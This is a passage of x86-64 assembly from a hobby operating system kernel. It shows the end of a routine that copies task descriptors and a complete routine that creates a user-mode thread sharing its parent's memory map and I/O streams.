LIB_SYS_STRUCTURE_TASK.page], rdx ; current task status mov dx, word [r10 + KERNEL_TASK_STRUCTURE.flags] mov word [rax + LIB_SYS_STRUCTURE_TASK.flags], dx ; taks name length movzx ecx, byte [r10 + KERNEL_TASK_STRUCTURE.length] mov byte [rax + LIB_SYS_STRUCTURE_TASK.length], cl ; task name itself lea rsi, [r10 + KERNEL_TASK_STRUCTURE.name] lea rdi, [rax + LIB_SYS_STRUCTURE_TASK.name] rep movsb ; next task descriptor position add rax, LIB_SYS_STRUCTURE_TASK.SIZE .next: ; move pointer to next entry of task table add r10, KERNEL_TASK_STRUCTURE.SIZE ; end of tasks inside table? dec rbx jnz .loop ; no ; last entry set as empty mov qword [rax + LIB_SYS_STRUCTURE_TASK.pid], EMPTY ; return memory pointer of tasks descriptors pop rax ; release access mov byte [r8 + KERNEL_STRUCTURE.task_queue_semaphore], UNLOCK ; restore original registers pop r10 pop r8 pop rdi pop rsi pop rdx pop rcx pop rbx ; return from routine ret ;------------------------------------------------------------------------------- ; in: ; rdi - pointer to function of current task to execute as thread ; rsi - pointer to string as name of thread ; rdx - length of that string ;out: ; rax - process ID of thread kernel_service_thread: ; preserve original registers push rbx push rcx push rdx push rsi push r9 push r10 push r11 push r15 push rdi ;----------------------------------------------------------------------- ; prepare task for execution ;----------------------------------------------------------------------- ; register new task on queue mov rcx, rdx call kernel_task_add ;----------------------------------------------------------------------- ; paging array of new process ;----------------------------------------------------------------------- ; make space for the process paging table call kernel_memory_alloc_page ; update task entry about paging array mov qword [r10 + KERNEL_TASK_STRUCTURE.cr3], rdi ;----------------------------------------------------------------------- ; context stack and return point (initialization entry) ;----------------------------------------------------------------------- ; describe the space under context stack of process mov rax, KERNEL_TASK_STACK_address mov bx, KERNEL_PAGE_FLAG_present | KERNEL_PAGE_FLAG_write | KERNEL_PAGE_FLAG_process mov ecx, KERNEL_TASK_STACK_SIZE_page mov r11, rdi call kernel_page_alloc ; set process context stack pointer mov rsi, KERNEL_TASK_STACK_pointer - (KERNEL_EXEC_STRUCTURE_RETURN.SIZE + KERNEL_EXEC_STACK_OFFSET_registers) mov qword [r10 + KERNEL_TASK_STRUCTURE.rsp], rsi ; prepare exception exit mode on context stack of process mov rsi, KERNEL_TASK_STACK_pointer - STATIC_PAGE_SIZE_byte call kernel_page_address ; set pointer to return descriptor and rax, STATIC_PAGE_mask ; drop flags add rax, qword [kernel_page_mirror] ; convert to logical address add rax, STATIC_PAGE_SIZE_byte - KERNEL_EXEC_STRUCTURE_RETURN.SIZE ; set first instruction executed by thread mov rdx, qword [rsp] mov qword [rax + KERNEL_EXEC_STRUCTURE_RETURN.rip], rdx ; code descriptor mov qword [rax + KERNEL_EXEC_STRUCTURE_RETURN.cs], KERNEL_GDT_STRUCTURE.cs_ring3 | 0x03 ; default processor state flags mov qword [rax + KERNEL_EXEC_STRUCTURE_RETURN.eflags], KERNEL_TASK_EFLAGS_default ; default stack pointer mov rdx, KERNEL_EXEC_STACK_pointer - 0x10 ; no args mov qword [rax + KERNEL_EXEC_STRUCTURE_RETURN.rsp], rdx ; stack descriptor mov qword [rax + KERNEL_EXEC_STRUCTURE_RETURN.ss], KERNEL_GDT_STRUCTURE.ds_ring3 | 0x03 ;----------------------------------------------------------------------- ; stack ;----------------------------------------------------------------------- ; alloc stack space mov rcx, KERNEL_EXEC_STACK_SIZE_page call kernel_memory_alloc ; map executable space to thread paging array mov rax, KERNEL_EXEC_STACK_address or bx, KERNEL_PAGE_FLAG_user mov rsi, rdi sub rsi, qword [kernel_page_mirror] call kernel_page_map ; process memory usage add qword [r10 + KERNEL_TASK_STRUCTURE.page], rcx ; process stack size add qword [r10 + KERNEL_TASK_STRUCTURE.stack], rcx ; aquire parent task properties call kernel_task_active ; threads use same memory map as parent mov rax, qword [r9 + KERNEL_TASK_STRUCTURE.memory_map] mov qword [r10 + KERNEL_TASK_STRUCTURE.memory_map], rax ; threads use same streams as parent ; in mov rax, qword [r9 + KERNEL_TASK_STRUCTURE.stream_in] inc qword [rax + KERNEL_STREAM_STRUCTURE.count] mov qword [r10 + KERNEL_TASK_STRUCTURE.stream_in], rax ; out mov rax, qword [r9 + KERNEL_TASK_STRUCTURE.stream_out] inc qword [rax + KERNEL_STREAM_STRUCTURE.count] mov qword [r10 + KERNEL_TASK_STRUCTURE.stream_out], rax ; map kernel space to process mov r15, qword [r9 + KERNEL_TASK_STRUCTURE.cr3] or r15, qword [kernel_page_mirror] call kernel_page_merge ; mark thread as ready or word [r10 + KERNEL_TASK_STRUCTURE.flags], KERNEL_TASK_FLAG_active | KERNEL_TASK_FLAG_thread | KERNEL_TASK_FLAG_init ; return process ID of new thread mov rax, qword [r10 + KERNEL_TASK_STRUCTURE.pid] ; restore original registers pop rdi pop r15 pop r11 pop r10 pop r9 pop rsi pop rdx pop rcx pop rbx ; end of routine ret